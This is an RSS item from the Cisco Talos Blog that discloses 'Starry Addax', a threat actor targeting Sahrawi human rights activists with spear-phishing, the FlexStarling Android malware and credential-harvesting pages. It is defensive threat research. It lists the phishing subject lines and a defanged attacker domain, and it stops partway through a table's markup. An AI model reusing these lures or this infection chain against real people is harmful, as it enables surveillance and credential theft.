<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Cisco Talos Blog]]></title><description><![CDATA[Talos intelligence and world-class threat research team better protects you and your organization against known and emerging cybersecurity threats.]]></description><link>https://blog.talosintelligence.com/</link><image><url>https://blog.talosintelligence.com/favicon.png</url><title>Cisco Talos Blog</title><link>https://blog.talosintelligence.com/</link></image><generator>Ghost 5.81</generator><lastBuildDate>Tue, 09 Apr 2024 13:00:10 GMT</lastBuildDate><atom:link href="https://blog.talosintelligence.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Starry Addax targets human rights defenders in North Africa with new malware]]></title><description><![CDATA[Cisco Talos is disclosing a new threat actor we deemed “Starry Addax” targeting mostly human rights activists, associated with the Sahrawi Arab Democratic Republic (SADR) cause with a novel mobile malware. ]]></description><link>https://blog.talosintelligence.com/starry-addax/</link><guid isPermaLink="false">661416379bef0c00013a9d8d</guid><category><![CDATA[Threats]]></category><category><![CDATA[Threat Spotlight]]></category><category><![CDATA[Landing Page Top Story]]></category><category><![CDATA[Top Story]]></category><dc:creator><![CDATA[Cisco Talos]]></dc:creator><pubDate>Tue, 09 Apr 2024 12:02:10 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/04/StarryAddax-Header.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos is disclosing a new threat actor we deemed &#x201C;Starry Addax&#x201D; targeting mostly human rights activists associated with the Sahrawi Arab Democratic Republic (SADR) cause with a novel mobile malware.&#xA0;</li><li>Starry Addax conducts phishing attacks tricking their targets into installing malicious Android applications we&#x2019;re calling &#x201C;FlexStarling.&#x201D;&#xA0;</li><li>For Windows-based targets<u>,</u> Starry Addax will serve credential-harvesting pages masquerading as login pages from popular media websites.&#xA0;</li></ul><img src="https://blog.talosintelligence.com/content/images/2024/04/StarryAddax-Header.jpg" alt="Starry Addax targets human rights defenders in North Africa with new malware"><p><em>Talos would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.</em>&#xA0;</p><h2 id="starry-addax-has-a-special-interest-in-western-sahara">Starry Addax has a special interest in Western Sahara</h2><p>The malicious mobile application (APK), &#x201C;FlexStarling,&#x201D; analyzed by Talos recently masquerades as a variant of the<a href="https://play.google.com/store/apps/details?id=info.spsrasd.app.sps"> <u>Sahara Press Service</u></a> (SPSRASD) App. The<a href="https://www.spsrasd.info/en/about-us"> <u>Sahara Press Service</u></a> is a media agency associated with the Sahrawi Arab Democratic Republic. The malware will serve content in the Spanish language from the SPSRASD website to look legitimate to the victim. However, in actuality, FlexStarling is a highly versatile malware capable of deploying additional malware components and stealing information from the infected devices.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://lh7-us.googleusercontent.com/ZjIC0q2t-A5YH6hqR06R4JsMm4CR9Dr33XfO2C36zOMbFkc2FVpdYd0kLJqZl9FWC5BtIqtdcT6Ket-R-tos611BQC0c9DlUGQlhReQYsT4Y4Amnp748r2xXoBLhDapnnHaUOszIvJou434uOpSBC4c" class="kg-image" alt="Starry Addax targets human rights defenders in North Africa with new malware" loading="lazy" width="384" height="795"><figcaption><span style="white-space: pre-wrap;">&#xA0;Splash screen for the malicious application</span><u><span class="underline" style="white-space: pre-wrap;">.</span></u></figcaption></figure><p>Starry Addax&#x2019;s infrastructure can be used to target Windows- and Android-based users. This campaign&apos;s infection chain begins with a spear-phishing email sent to targets, consisting of individuals of interest to the attackers, especially human rights activists in Morocco and the Western Sahara region. The email contains content that requests the target to install the Sahrawi News Agency&#x2019;s Mobile App or include a topical theme related to the Western Sahara. &#xA0;</p><p>Some examples of the subject lines of the phishing emails consist of:&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW135895571 BCX0" border="1" data-tablestyle="MsoTableGrid" data-tablelook="1696" aria-rowcount="5" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; table-layout: fixed; width: 0px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: transparent; border-spacing: 0px;"><tbody class="SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;"><tr class="TableRow SCXW135895571 BCX0" role="row" aria-rowindex="1" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstRow FirstCol SCXW135895571 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="2042460860" paraeid="{d2e081e0-94ee-420d-aa22-bec9dade320c}{37}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Subject (Arabic)</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW135895571 BCX0" role="columnheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="497664673" paraeid="{d2e081e0-94ee-420d-aa22-bec9dade320c}{43}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Translated Subject</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW135895571 BCX0" role="row" aria-rowindex="2" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW135895571 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="1218951126" paraeid="{d2e081e0-94ee-420d-aa22-bec9dade320c}{49}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="AR-SA" lang="AR-SA" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">&#x637;&#x644;&#x628; &#x62A;&#x62B;&#x628;&#x64A;&#x62A; &#x627;&#x644;&#x62A;&#x637;&#x628;&#x64A;&#x642; &#x639;&#x644;&#x649; &#x647;&#x648;&#x627;&#x62A;&#x641; &#x645;&#x62A;&#x627;&#x628;&#x639;&#x64A; &#x648;&#x643;&#x627;&#x644;&#x629; &#x627;&#x644;&#x623;&#x646;&#x628;&#x627;&#x621; &#x627;&#x644;&#x635;&#x62D;&#x631;&#x627;&#x648;&#x64A;&#x629;</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW135895571 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="1530169999" paraeid="{c6538bf3-c996-43f4-92a5-b12e23f4e278}{192}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN" lang="EN" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Request to install the application on the phones of Sahrawi News Agency followers</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW135895571 BCX0" role="row" aria-rowindex="3" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW135895571 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="2099901607" paraeid="{d2e081e0-94ee-420d-aa22-bec9dade320c}{57}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="AR-SA" lang="AR-SA" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">&#x627;&#x644;&#x648;&#x641;&#x62F; &#x628;&#x631;&#x644;&#x645;&#x627;&#x646;&#x64A; &#x627;&#x644;&#x623;&#x648;&#x631;&#x648;&#x628;&#x64A; &#x64A;&#x62F;&#x644;&#x64A; &#x628;&#x62A;&#x635;&#x631;&#x64A;&#x62D;&#x627;&#x62A;</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW135895571 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="1403661946" paraeid="{9c908aa3-87cd-488b-b942-b64a550d7009}{21}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN" lang="EN" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">The European Parliament delegation makes statements</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW135895571 BCX0" role="row" aria-rowindex="4" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW135895571 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="1497562727" paraeid="{9c908aa3-87cd-488b-b942-b64a550d7009}{220}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="AR-SA" lang="AR-SA" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">&#x627;&#x644;&#x648;&#x641;&#x62F; &#x628;&#x631;&#x644;&#x645;&#x627;&#x646;&#x64A; &#x64A;&#x62F;&#x644;&#x64A; &#x628;&#x62A;&#x635;&#x631;&#x64A;&#x62D;&#x627;&#x62A;</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW135895571 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="988534779" paraeid="{d4174c91-3de0-4fe8-8829-d1a63f7ce843}{55}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN" lang="EN" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">A parliamentary delegation makes statements</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW135895571 BCX0" role="row" aria-rowindex="5" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol LastRow SCXW135895571 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="543422946" paraeid="{b1a6c9b8-a0e6-4d07-9816-1e52c939a87b}{175}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="AR-SA" lang="AR-SA" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">&#x639;&#x627;&#x62C;&#x644; &#x648;&#x628;&#x627;&#x644;&#x641;&#x64A;&#x62F;&#x64A;&#x648; &#x648;&#x646;&#x642;&#x644;&#x627;&#x64B; &#x639;&#x646; &#x62C;&#x631;&#x64A;&#x62F;&#x629; </span><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">&#x625;&#x644;&#x628;&#x627;&#x64A;&#x633;</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW135895571 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 312px;"><div class="TableCellContent SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW135895571 BCX0" paraid="1219984656" paraeid="{ed7ff9ec-f6e3-48c7-8e62-101660f7cae0}{200}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN" lang="EN" class="TextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;"><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Urgent, video, and quoted from El </span><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Pais</span><span class="NormalTextRun SCXW135895571 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;"> newspaper</span></span><span class="EOP SCXW135895571 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>The email originating from an attacker-owned domain, ondroid[.]site, consists of a shortened link to an attacker-controlled website and domain. Depending on the requestor&#x2019;s operating system, the website will either serve the FlexStarling APK for Android devices or redirect the victim to a social media login page to harvest their credentials. The links observed by Talos so far are:&#xA0;&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW80799993 BCX0" border="1" data-tablestyle="MsoTableGrid" data-tablelook="1696" aria-rowcount="3" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; table-layout: fixed; width: 0px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: transparent; border-spacing: 0px;"><tbody class="SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;"><tr class="TableRow SCXW80799993 BCX0" role="row" aria-rowindex="1" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstRow FirstCol SCXW80799993 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 264px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; 